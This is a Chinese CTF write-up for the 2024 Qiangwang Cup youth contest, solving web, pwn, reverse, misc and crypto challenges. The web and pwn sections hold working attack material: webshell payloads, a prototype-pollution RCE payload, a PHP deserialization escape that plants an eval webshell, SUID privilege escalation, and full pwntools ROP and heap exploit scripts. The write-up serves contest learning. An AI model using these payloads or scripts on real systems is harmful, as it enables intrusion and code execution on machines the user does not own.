强网杯青少年专项赛 2024  WriteUp

强网杯青少年专项赛 2024 WriteUp

WEB

ezGetFlag

当我们点击Get Flag时,提示我们请求方式错误

d2b5ca33bd20250413131924

F12打开浏览器调试工具,查看数据包

发现当点击此按钮时,会对/backend.php文件发起get请求

d2b5ca33bd20250413131936

们换成POST请求方式试试

d2b5ca33bd20250413131952

图片[4]-强网杯青少年专项赛 2024  WriteUp-阻击者联盟

得到flag

flag{60c92839-4049-41fb-9d8e-fdfc67ed8a0c}

ezFindShell

首先下载源码,然后查找eval,GET.POST之类的关键字(也可以直接使用webshell查杀工具来分析)

d2b5ca33bd20250413132012

图片[6]-强网杯青少年专项赛 2024  WriteUp-阻击者联盟

发现只有一个文件中有POST

d2b5ca33bd20250413132022

看到底部的3行代码

base64_decode($e) 解码后的内容作为回调函数,对数组 $arr 进行过滤

payload为

/1de9d9a55a824f4f8b6f37af76596baa.php?e=c3lzdGVt

post请求
cat /flag

cyberboard

打开源码,搜索password

d2b5ca33bd20250413132233

得知用户名为admin

密码为password_you_don’t_know 登录后来到messages ,查看源码,看到合并对象的代码,推测出这题的考点可能在于nodejs原型链污染

d2b5ca33bd20250413132243

从网上找到一篇文章参考

AST注入-从原型链污染到RCE_[湖湘杯 2021 final]vote-CSDN博客

我这里直接复制他的payload进去(报错,但是给我们提供了源码的路径在/app下)

d2b5ca33bd20250413132255

重启容器,将execSync改成exec

{
  "__proto__": {
    "block": {
      "type": "Text",
      "line": "process.mAInModule.require('child_process').exec('cat /f* >> /app/public/js/hack.txt')"
    }
  }
}

d2b5ca33bd20250413132353

得到flag

flag{d7923173-e217-45f3-b6c9-5c2deb384d04}

mysqlprobe

这道题的思路是搭建一个MySQL_Fake_Server,然后用这个题目容器去连接,用LOAD DATA去读源码,然后进行审计

https://gIThub.com/4ra1n/mysql-fake-server

python3 main.py -l 0.0.0.0 -p 3306 -f /var/www/html/index.php

得到源码

<?php
error_reporting(0);
class Mysql {
    public $debug = 1;
    public $database;
    public $hostname;
    public $port;
    public $charset = "utf8";
    public $username;
    public $password;
    public function __construct($database, $hostname, $port, $username, $password) {
        $this->database = $database;
        $this->hostname = $hostname;
        $this->port = $port;
        $this->username = $username;
        $this->password = $password;
    }
    protected function connect() {
        $dsn = "mysql:host=".$this->hostname.";port=".$this->port.";dbname=".$this-
>database.";charset=".$this->charset;
        try {
            $this->pdo = new PDO($dsn, $this->username, $this->password, array(
                PDO::MYSQL_ATTR_LOCAL_INFILE => true
            ));
            $this->pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
            if ($this->debug) {
                echo "<script>showAlert('Connection Successful!');</script>";
                $this->query("select flag from flag");
            }
        } catch (PDOException $e) {
            if ($this->debug) {
                echo "<script>showAlert('Connection Failed: " . addslashes($e-
>getMessage()) . "');</script>";
            }
        }
    }
    public function query($sql) {
        return $this->pdo->query($sql);
    }
    public function __destruct()
    {
        $this->connect();
    }
}
class Backdooor{
    public $cmd;
    public function __toString(){
        exec($this->cmd);
        return '';
    }
}
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $host = $_POST['host'];
    $username = $_POST['username'];
    $password = $_POST['password'];
    $database = $_POST['database'];
    $port = intval($_POST['port']);
    $mysql = new Mysql($database, $host, $port, $username, $password);
    $mysqlser = serialize($mysql);
    $mysqlser = str_replace("flag", "", $mysqlser);
    unserialize($mysqlser);
}
?>

构造pop链,反序列化字符逃逸,然后从username传入

POST:

host=127.0.0.1&port=1&username=flagflagflagflagflagflag&password=1";s:8:"password";O:9:"B

ackdooor":1:{s:3:"cmd";s:37:"echo '<?php eval($_POST[0]);?>'>a.php";}%7D&database=1

getshell以后发现无法读flag,使用suid提权

find / -user root -perm -4000 -print 2>/dev/null
发现diff可用
diff /dev/null /flag

d2b5ca33bd20250413133552

PWN

clock_in

先丢ida看一眼,进入main函数,F5查看伪代码

d2b5ca33bd20250413132407

d2b5ca33bd20250413132413

fgets读取超过s数组大小的输入。没有对输入大小进行检查,是一个典型的缓冲区溢出,利用思路用缓冲区溢出漏洞来覆盖返回地址,然后调用puts函数,通过将GOT中puts泄露的libc地址传递给puts函数,获取puts的实际地址,以此来推算出libc的基地址然后找到system和/bin/sh的地址最后利用计算得到的地址并调用system函数来执行shell
from pwn import *
context(log_level="debug", arch="amd64", os="linux")
HOST = "39.106.48.123"
PORT = 43714
# 关键地址配置 (需要根据实际二进制文件调整)
ADDRESSES = {
    "pop_rdi":      0x4011C5,  # pop rdi; ret;
    "ret":          0x4011C9,  # ret 指令地址 (用于栈对齐)
    "puts_plt":     0x401060,  # puts@plt 地址
    "puts_got":     0x403FD8,  # puts@got 地址
    "main_return":  0x401090,  # 返回到的地址(通常是main函数)
    "buffer_offset":72         # 溢出偏移量
}

def exploit():
    r = remote(HOST, PORT)
    
    # ================== 第一阶段:泄露libc地址 ==================
    # 构造ROP链泄露puts真实地址
    payload = flat(
        cyclic(ADDRESSES["buffer_offset"]),
        p64(ADDRESSES["pop_rdi"]),
        p64(ADDRESSES["puts_got"]),
        p64(ADDRESSES["puts_plt"]),
        p64(ADDRESSES["main_return"])  # 返回程序主逻辑继续执行
    )
    
    # 发送payload
    r.recvuntil("Your info: \n")
    r.sendline(payload)
    
    # 接收并解析泄露的地址
    leaked_puts = r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')
    puts_addr = u64(leaked_puts)
    success(f"Leaked puts address: {hex(puts_addr)}")
    
    # ================== 第二阶段:获取shell ==================
    # 加载libc并计算基址
    libc = ELF("./libc.so.6")
    libc_base = puts_addr - libc.symbols["puts"]
    success(f"Libc base address: {hex(libc_base)}")
    
    # 计算关键函数/字符串地址
    system_addr = libc_base + libc.symbols["system"]
    binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
    
    # 构造最终payload
    payload = flat(
        cyclic(ADDRESSES["buffer_offset"]),
        p64(ADDRESSES["ret"]),         # 栈对齐 (对抗movaps问题)
        p64(ADDRESSES["pop_rdi"]),
        p64(binsh_addr),
        p64(system_addr),
        p64(0xdeadbeef)               # system的返回地址 (随意填充)
    )
    
    # 发送最终payload
    r.sendline(payload)
    
    # 进入交互模式
    r.interactive()

if __name__ == "__main__":
    exploit()

journey_story

保护全开

# file journey_story 
journey_story: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically 
linked, interpreter /lib64/ld-linux-x86-64.so.2, 
BuildID[sha1]=6125523a7fece481889a3f574ee63ff6b352d1d8, for GNU/Linux 3.2.0, not stripped
# checksec journey_story 
[*] 
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

在update函数发现,没有注意数组的边界,存在offbyone漏洞,可以多读一个字节,导致这里存在堆溢出漏洞

因为这道题是ubuntu20.04的libc。所以整体思路可以如下:
1.首先我们填充 0xc1 大小的内存块来填充 tcache,之后再释放它们来将相同的块重用。这一步的目的是为了触发堆的合并
与重用,并为后面的溢出准备场景。
2.在 add 函数中输入 0x28 大小的数据,在后续的编辑操作中利用off-by-one漏洞来泄露堆上的地址。编辑操作通过 edit 函数修改了一个内存块的内容,在此过程中特别修改了堆中的内容,为下一步泄露地址提供了基础。
3.构造一系列的堆分配与释放操作,最终通过对特定内存块的修改来泄露 libc 的基地址,以及堆的基地址。
4.编辑堆上的数据,修改了 __free_hook 的地址,使得后续的 free 操作将会触发我们指定的函数
5.利用堆中的溢出将 __free_hook 指向我们自己的 shellcode,执行系统命令。
6.使用 setcontext 函数跳转到构造的 ROP 链,完成恶意代码的执行。

#!/usr/bin/env python
from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
context.arch = 'amd64'
context.log_level = 'debug'

# io = process("./journey_story")
# io = remote("127.0.0.1", 9999)
io = remote("39.106.48.123", 32916)

# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc-2.31.so")

def add(size, content):
    io.sendlineafter(b"Choose an option: ", "1")
    io.sendlineafter(b"): ", size)
    io.sendlineafter(b"s): ", content)

def edit(idx, content):
    io.sendlineafter(b"Choose an option: ", "3")
    io.sendlineafter(b"31): ", str(idx))
    io.sendlineafter(b"s): ", content)

def show():
    io.sendlineafter(b"Choose an option: ", b"4")

def free(idx):
    io.sendlineafter(b"Choose an option: ", b"2")
    io.sendlineafter(b"31): ", str(idx))

def exp():
    # fill up 0xc1 tcache
    for i in range(7):
        add(b"0xb0", b'aaaa')
    for i in range(7):
        free(i)

    # off-by-one to leak libc_base
    for i in range(6):
        add(b"0x28", b'aaaa')  # 0-5

    edit(0, b'b' * 0x28 + b'\xc1')
    free(1)
    add(b"0x28", b'flag\x00')  # 1
    show()
    io.recvuntil("Story 2 (size 0x28): ")
    __main_arena = u64(io.recv(6).ljust(8, b'\x00')) - 96
    print(hex(__main_arena))
    __malloc_hook = __main_arena - 0x10
    print(hex(__malloc_hook))
    libc_base = __malloc_hook - libc.sym['__malloc_hook']
    log.success("libc_base====>" + hex(libc_base))
    free_hook = libc_base + libc.sym['__free_hook']
    log.success("free_hook====>" + hex(free_hook))

    # overlapping to leak heap_base
    for i in range(3):
        add(b"0x28", b'cccc')  # 6-8 <==> 2-4

    free(2)
    free(3)
    show()
    io.recvuntil("Story 7 (size 0x28): ")
    heap_addr = u64(io.recv(6).ljust(8, b'\x00'))
    print(hex(heap_addr))
    heap_base = heap_addr - 0x840
    log.success("heap_base====>" + hex(heap_base))

    # hijack __free_hook
    edit(7, p64(free_hook) + b'\x0a')
    log.success("heap_base====>" + hex(heap_base))

    magic = libc_base + 0x151BB0
    add(b"0x28", b'dddd')  # 2

    add(b"0x28", p64(magic))  # 3

    # gadgets
    pop_rax_ret = libc_base + 0x0000000000036174
    pop_rdi_ret = libc_base + 0x0000000000023b6a
    pop_rsi_ret = libc_base + 0x000000000002601f
    pop_rdx_r12_ret = libc_base + 0x0000000000119431
    ret = libc_base + 0x0000000000023b96
    syscall = libc_base + 0x00000000000630a9

    flag_addr = heap_base + 0x810
    log.success("pop_rax_ret====>" + hex(pop_rax_ret))
    log.success("pop_rdi_ret====>" + hex(pop_rdi_ret))
    log.success("pop_rsi_ret====>" + hex(pop_rsi_ret))
    log.success("ret====>" + hex(ret))
    log.success("syscall====>" + hex(syscall))
    log.success("flag_addr====>" + hex(flag_addr))

    # open
    orw_rop = p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0)
    orw_rop += p64(pop_rax_ret) + p64(2) + p64(syscall)

    # read
    orw_rop += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(flag_addr)
    orw_rop += p64(pop_rdx_r12_ret) + p64(0x30) + p64(0) + p64(libc_base + libc.sym['read'])

    # write
    orw_rop += p64(pop_rdi_ret) + p64(1) + p64(libc_base + libc.sym['write'])

    rop_addr = heap_base + 0x660
    jmp_addr = heap_base + 0x720

    setcontext = libc_base + 0x54f5d

    # construct heap & trigger __free_hook
    add(b"0xb0", p64(jmp_addr) * 2 + b'a' * 0x10 + p64(setcontext) + b'a' * 0x78 + p64(rop_addr) + p64(ret))  # 9

    sleep(1)

    io.sendlineafter(b"Choose an option: ", b"1")
    io.sendlineafter(b"Choose an option: ", b"1")
    io.sendlineafter(b"): ", b"0xb0")
    io.sendlineafter(b"s): ", orw_rop)

    free(9)
    io.interactive()

exp()

Reverse

EnterGame

动调导出s2的数组

unsigned char data[42] = {
    0x5E, 0x13, 0xAA, 0xD3, 0x87, 0x75, 0x2B, 0x7A, 0x1B, 0x16, 0x04, 0xA3, 0x49, 0x7E, 0x1D, 0xD2, 
    0x6B, 0x5D, 0x58, 0x40, 0x5E, 0x44, 0x63, 0x59, 0x48, 0x51, 0x0D, 0x54, 0x5E, 0x58, 0x55, 0x58, 
    0xAD, 0x82, 0xAF, 0xDC, 0xE7, 0xAB, 0x58, 0x5D, 0xCE, 0xC1
};

解密

#include <stdio.h>
#include <stdint.h>
#include <string.h>

// 定义宏:循环左移操作
#define ROTATE(v, c) ((v << c) | (v >> (32 - c)))

// 定义宏:四分之一轮操作
#define QUARTERROUND(a, b, c, d) \
    x[a] += x[b]; x[d] = ROTATE(x[d] ^ x[a], 16); \
    x[c] += x[d]; x[b] = ROTATE(x[b] ^ x[c], 12); \
    x[a] += x[b]; x[d] = ROTATE(x[d] ^ x[a], 8);  \
    x[c] += x[d]; x[b] = ROTATE(x[b] ^ x[c], 7);

// ChaCha20 的一个块操作
void chacha20_block(uint32_t out[16], const uint32_t in[16]) {
    uint32_t x[16];
    memcpy(x, in, sizeof(uint32_t) * 16);

    for (int i = 0; i < 10; i++) {  // 20 轮,每轮 2 次操作
        QUARTERROUND(0, 4, 8, 12);
        QUARTERROUND(1, 5, 9, 13);
        QUARTERROUND(2, 6, 10, 14);
        QUARTERROUND(3, 7, 11, 15);
        QUARTERROUND(0, 5, 10, 15);
        QUARTERROUND(1, 6, 11, 12);
        QUARTERROUND(2, 7, 8, 13);
        QUARTERROUND(3, 4, 9, 14);
    }

    for (int i = 0; i < 16; i++) {
        out[i] = x[i] + in[i];
    }
}

// ChaCha20 解密函数
void chacha20_decrypt(const uint8_t *key, const uint8_t *nonce, const uint8_t *ciphertext, 
                      uint8_t *plaintext, int length) {
    uint32_t state[16] = {
        0x61707865, 0x3320646e, 0x79622d32, 0x6b206574,  // "expand 32-byte k"
        ((uint32_t *)key)[0], ((uint32_t *)key)[1], ((uint32_t *)key)[2], ((uint32_t *)key)[3],
        ((uint32_t *)key)[4], ((uint32_t *)key)[5], ((uint32_t *)key)[6], ((uint32_t *)key)[7],
        0, 0, ((uint32_t *)nonce)[0], ((uint32_t *)nonce)[1]
    };

    uint8_t block[64];
    for (int i = 0; i < length; i += 64) {
        chacha20_block((uint32_t *)block, state);
        state[12]++;
        for (int j = 0; j < 64 && i + j < length; j++) {
            plaintext[i + j] = ciphertext[i + j] ^ block[j];
        }
    }
}

// 打印十六进制数据
void print_hex(const uint8_t *data, int length) {
    for (int i = 0; i < length; i++) {
        printf("%02x", data[i]);
    }
    printf("\n");
}

int main() {
    const uint8_t key[32] = "Youth Strengthens the Nation"; // 32 字节密钥
    const uint8_t nonce[8] = "01234567";                    // 8 字节随机数

    // 给定的加密后的密文
    uint8_t expected_ciphertext[] = {
        0x5e, 0x13, 0xaa, 0xd3, 0x87, 0x75, 0x2b, 0x7a,
        0x1b, 0x16, 0x04, 0xa3, 0x49, 0x7e, 0x1d, 0xd2,
        0x6b, 0x5d, 0x58, 0x40, 0x5e, 0x44, 0x63, 0x59,
        0x48, 0x51, 0x0d, 0x54, 0x5e, 0x58, 0x55, 0x58,
        0xad, 0x82, 0xaf, 0xdc, 0xe7, 0xab, 0x58, 0x5d,
        0xce, 0xc1
    };

    // 创建一个足够大的数组来存储解密后的文本
    uint8_t decrypted[sizeof(expected_ciphertext)];

    // 解密
    chacha20_decrypt(key, nonce, expected_ciphertext, decrypted, sizeof(expected_ciphertext));

    // 打印解密后的十六进制数据,以检查数据是否正确解密
    printf("解密后的结果(十六进制):\n");
    print_hex(decrypted, sizeof(expected_ciphertext));

    // 打印解密后的文本
    printf("解密后的结果(文本):\n");
    printf("%s\n", decrypted);

    return 0;
}

flag{385915ad-8f32-49d0-94c3-0067f1dad1bd}

Flip_over

反编译后打开libnative-lib.so,IDA搜索flag

d2b5ca33bd20250413132730

看然后看java层主逻辑在validateAndEncrypt()函数里,大概逻辑的是取flagflag这个字符串作为密钥把”a4c3f8927d9b8e6d6e483fa2cd0193b0a6e2f19c8b47d5a8f3c7a91e8d4b9f67”先进行RC4加密再进行DES_ECB加密,最后再与while的0x21和密后的数据进行异或后,与密文比较。解密时提取数据,把异或逆一下,直接用赛博厨师解密。

CyberChef_v10.18.8.html#recipe=RC4({'option':'UTF8','string':'flagflag'},'Latin1','Hex')DES_Encrypt({'option':'UTF8','string':'flagflag'},{'option':'Hex','string':''},'ECB','Hex','Raw')XOR({'option':'Hex','string':'1E5881791AD962F4E39EA7A6A9010078A62DC6F3C81F1447954FF1CBA1BEd0AF93AF338150ABDD89E28E'},'Standard',false)XOR({'option':'Hex','string':'0x21'},'Standard',false)&input=YTRjM2Y4OTI3ZDliOGU2ZDZlNDgzZmEyY2QwMTkzYjBhNmUyZjE5YzhiNDdkNWE4ZjNjN2E5MWU4ZDRiOWY2Nw

d2b5ca33bd20250413132801

flag{b92d40df-840a-43a8-bdb4-5de79eca13f4}

MISC

whitepic

附件下载下来,010打开

d2b5ca33bd20250413132940

Gif头,将后缀修改打开,看到第二帧

d2b5ca33bd20250413133002

flag{passion_is_the_greatest_teacher}

Crypto

Classics

d2b5ca33bd20250413133018

这里可以看到附件给出了密文和加密过程

先base32编码,然后base64编码,然后rot13回转3位,然后Atbash

cipher,最后Vigenère Encode(key为GAMELAB)将他反向解密这里rot13回转3位,那么我们解密就是回转26-3=23位

d2b5ca33bd20250413133029

flag{2834d185-a1da-4fb1-8bac-59076eb6a634}

AliceAES

d2b5ca33bd20250413133118

根据提示得知使用AES在CBC模式下加密消息,并将加密结果以HEX格式与Bob分享。

获取key和iv

d2b5ca33bd20250413133129

在线工具加密一下

d2b5ca33bd20250413133141

得到df8553800c822f5d8d24461856c078b4 提交Ciphertext

d2b5ca33bd20250413133151

easymath

直接分解n,得到p,q

d2b5ca33bd20250413133217

然后RSA解题脚本

from Crypto.Util.number import long_to_bytes, inverse
 
n = 739243847275389709472067387827484120222494013590074140985399787562594529286597003777105115865446795908819036678700460141950875653695331369163361757157565377531721748744087900881582744902312177979298217791686598853486325684322963787498115587802274229739619528838187967527241366076438154697056550549800691528794136318856475884632511630403822825738299776018390079577728412776535367041632122565639036104271672497418509514781304810585503673226324238396489752427801699815592314894581630994590796084123504542794857800330419850716997654738103615725794629029775421170515512063019994761051891597378859698320651083189969905297963140966329378723373071590797203169830069428503544761584694131795243115146000564792100471259594488081571644541077283644666700962953460073953965250264401973080467760912924607461783312953419038084626809675807995463244073984979942740289741147504741715039830341488696960977502423702097709564068478477284161645957293908613935974036643029971491102157321238525596348807395784120585247899369773609341654908807803007460425271832839341595078200327677265778582728994058920387721181708105894076110057858324994417035004076234418186156340413169154344814582980205732305163274822509982340820301144418789572738830713925750250925049059
c = 229043746793674889024653533006701296308351926745769842802636384094759379740300534278302123222014817911580006421847607123049816103885365851535481716236688330600113899345346872012870482410945158758991441294885546642304012025685141746649427132063040233448959783730507539964445711789203948478927754968414484217451929590364252823034436736148936707526491427134910817676292865910899256335978084133885301776638189969716684447886272526371596438362601308765248327164568010211340540749408337495125393161427493827866434814073414211359223724290251545324578501542643767456072748245099538268121741616645942503700796441269556575769250208333551820150640236503765376932896479238435739865805059908532831741588166990610406781319538995712584992928490839557809170189205452152534029118700150959965267557712569942462430810977059565077290952031751528357957124339169562549386600024298334407498257172578971559253328179357443841427429904013090062097483222125930742322794450873759719977981171221926439985786944884991660612824458339473263174969995453188212116242701330480313264281033623774772556593174438510101491596667187356827935296256470338269472769781778576964130967761897357847487612475534606977433259616857569013270917400687539344772924214733633652812119743
e = 65537
p = 24440283427735860782323152407294917357529111353275570975703531438440519660225708967888657253644278000783263820558388701592370615088140947096898134081330591301984360290318641970617489021626752360815885812583176251873031239638493762071047588297627032203293985708994218852662838640238623254740905447146670999830187552717802257362427107073858485019955606331947972091793616373347825119600328855885246072890798551616534636247023983959037046475229361825549780845049341719145179099452625523855259198581865855234803188298849910863377098140158406245399677912502444200118840639944511822211712755447685147549629637310805120817903
q = 30246942489892106712702239024133721453592842183923733460515110118344404699532017493383428137697227815754741688919151294652492006534840589468962295623069884232619077280815851563195685517196295248643553001644121714958636538938848623892827992267767358030468030240236589927767000556188518269847757669474128501561192367465343050094302650720121351543751423298130335191141395620744634566228434135430114855211983270131333333081108536699301711234514426855659414263828163630092200163488598896179597996128556748173083374014319100056717308084410389660477779719495877439609162161870536882293104016630319703274657500915447940613453
 
phi_n = (p - 1) * (q - 1)
d = inverse(e, phi_n)
m = pow(c, d, n)
flag = long_to_bytes(m)
 
print("Decrypted Flag:", flag.decode())
© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片快捷回复

    暂无评论内容